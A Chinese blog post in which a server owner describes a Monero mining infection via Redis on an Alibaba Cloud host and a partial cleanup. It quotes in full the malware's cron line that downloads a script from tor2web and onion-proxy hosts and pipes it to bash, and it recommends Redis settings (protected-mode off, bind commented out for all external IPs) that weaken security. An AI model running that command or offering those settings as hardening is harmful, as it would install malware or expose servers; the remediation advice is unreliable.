之前在9月份的时候,我的阿里云服务器出现过一次被挖矿的情况,也是cpu爆满,后来发现是因为mysql的漏洞。
当时抓着mysql一顿处理,新建用户,强密码,设权限,nologin,可算是正常了。
这几天又再次出现了被挖矿的情况,今天算是解决了,舒服,下面说下情况。
表现:服务器上的web应用一场的慢,ssh登陆进去top -c查看如下:
COMMAN处的[UWcUml]占用cpu100%
每次Kill掉它之后,不超过1分钟,会再次出现一个类似的进程,继续爆破cpu。在/var/spool/cron下面发现一个root文件,是定时任务,内容是:
22 * * * * (wget -qU- -O- https://ddgsdk6oou6znsdn.tor2web.io/i.sh || curl -sA- https://ddgsdk6oou6znsdn.tor2web.io/i.sh || wget -qU- -O- ddgsdk6oou6znsdn.onion.in.net/i.sh || curl -sA- ddgsdk6oou6znsdn.onion.in.net/i.sh || wget -qU- -O- ddgsdk6oou6znsdn.tor2web.info/i.sh || curl -sA- ddgsdk6oou6znsdn.tor2web.info/i.sh || wget -qU- -O- https://ddgsdk6oou6znsdn.tor.onl/i.sh || curl -sA- https://ddgsdk6oou6znsdn.tor.onl/i.sh || wget -qU- -O- ddgsdk6oou6znsdn.onion.ws/i.sh || curl -sA- ddgsdk6oou6znsdn.onion.ws/i.sh)|bash
这几个地址都是暗网的地址
指令netstat -nap 按pid查看,发现这个进程在和一个奇怪的地址进行tcp链接。
这个139.99.120.73:555,是查了一下,是门罗币的矿池地址。
解决方案:
REDIS:
1.新建admin用户组和redis用户,虽然使用的是root安装,但是启动一定不要用root启动,
具体的链接:https://blog.csdn.net/gbenson/article/details/84771231
2.kill 掉redis服务,然后修改redis.conf文件,网上的答案五花八门,bind,protected-mode,requirepass之类的,全部都试过之后,我采用了强加密
requirepass xxx超强的64位密码xx
protected-mode no
#bind 127.0.0.0.1 这里注释掉放开,允许所有外网IP访问
我本来是使用的bind,但是无论我bind什么ip,localhost,本机的ip(47.xx.xx.xx)都不行
后来我才明白,应该绑定阿里云的内网ip。
如图:
CENTOS:
redis处理完之后,需要想办法处理掉这个挖矿的脚本。
指令查看这个进程的情况
ll /proc/对应的pid
发现脚本跑在了一个被删除掉的文件上面,想了一下,应该是脚本执行完毕之后删除了这个文件,让人没办法发现异常文件,真实聪明。
不过通过指令head 可以查看这个被删除的/root/.x文件中的内容:竟然只是这个进程的pid!
就是说,我并没有找到这个脚本在哪里执行。
我删除了cron文件,发现过一段时间会有wget在下载脚本........
没有办法,我不是运维专家,搞不定这个。于是我采取了养蛊的办法。
上面的/var/spool/cron/root这个定时任务的里面的url,我通过ping找到了他们的ip地址,然后通过iptables给封了,同时在阿里云的安全组策略里面也全封了。
这样的话,我可以一直看到这个大虫子在它的服务器发送wget请求来下载脚本,但是因为ip被我封了,所以它就是访问不出去...
到此,虽然它不对我的服务器造成威胁了,但是它将一直存在于我的服务器中...
https://ithinkcry.cn/blog/view/detail/2c9ad8cc685b2c4b01685c7193e80003